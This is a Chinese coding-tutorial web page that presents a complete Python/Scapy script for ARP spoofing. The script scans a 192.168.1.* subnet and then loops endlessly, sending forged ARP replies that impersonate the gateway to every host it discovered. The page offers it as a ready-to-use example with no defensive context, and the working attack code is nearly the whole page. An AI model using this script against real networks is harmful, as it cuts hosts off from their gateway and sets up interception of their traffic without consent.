欢迎来到代码驿站!

Python代码

当前位置:首页 > 软件编程 > Python代码

python使用arp欺骗伪造网关的方法

时间:2021-08-12 09:31:37|栏目:Python代码|点击:

本文实例讲述了python使用arp欺骗伪造网关的方法。分享给大家供大家参考。具体实现方法如下:

#coding:utf-8
'''
arp欺骗局域网pc,将伪造的网关mac以网关的arp应答发送给pc
'''
from scapy.all import ARP,send,arping
import sys,re
stdout=sys.stdout
IPADDR="192.168.1.*"
gateway_ip='192.168.1.1'
#伪造网关mac地址
gateway_hw='00:11:22:33:44:55'
p=ARP(op = 2,hwsrc = gateway_hw,psrc = gateway_ip)
def arp_hack(ip,hw):
  #伪造来自网关的arp应答
  t=p
  t.hwdst=hw
  t.pdst=ip
  send(t)
def get_host():
  #得到在线主机的mac地址和对应ip地址 
  hw_ip = {}
  sys.stdout = open('host.info','w')
  arping(IPADDR)
  sys.stdout = stdout
  f = open('host.info','r')
  info = f.readlines()
  f.close
  del info[0]
  del info[0]
  for host in info :
    temp = re.split(r'\s+',host)
    hw_ip[temp[1]] = temp[2]
  return hw_ip
if __name__ == "__main__":
  hw_ip = get_host()
  while 1 :
    for i in hw_ip :
      arp_hack(hw=i,ip=hw_ip[i])

希望本文所述对大家的Python程序设计有所帮助。

上一篇:django 做 migrate 时 表已存在的处理方法

栏    目:Python代码

下一篇:python处理csv数据动态显示曲线实例代码

本文标题:python使用arp欺骗伪造网关的方法

本文地址:http://www.codeinn.net/misctech/166309.html

推荐教程

广告投放 | 联系我们 | 版权申明

重要申明:本站所有的文章、图片、评论等,均由网友发表或上传并维护或收集自网络,属个人行为,与本站立场无关。

如果侵犯了您的权利,请与我们联系,我们将在24小时内进行处理、任何非本站因素导致的法律后果,本站均不负任何责任。

联系QQ:914707363 | 邮箱:codeinn#126.com(#换成@)

Copyright © 2020 代码驿站 版权所有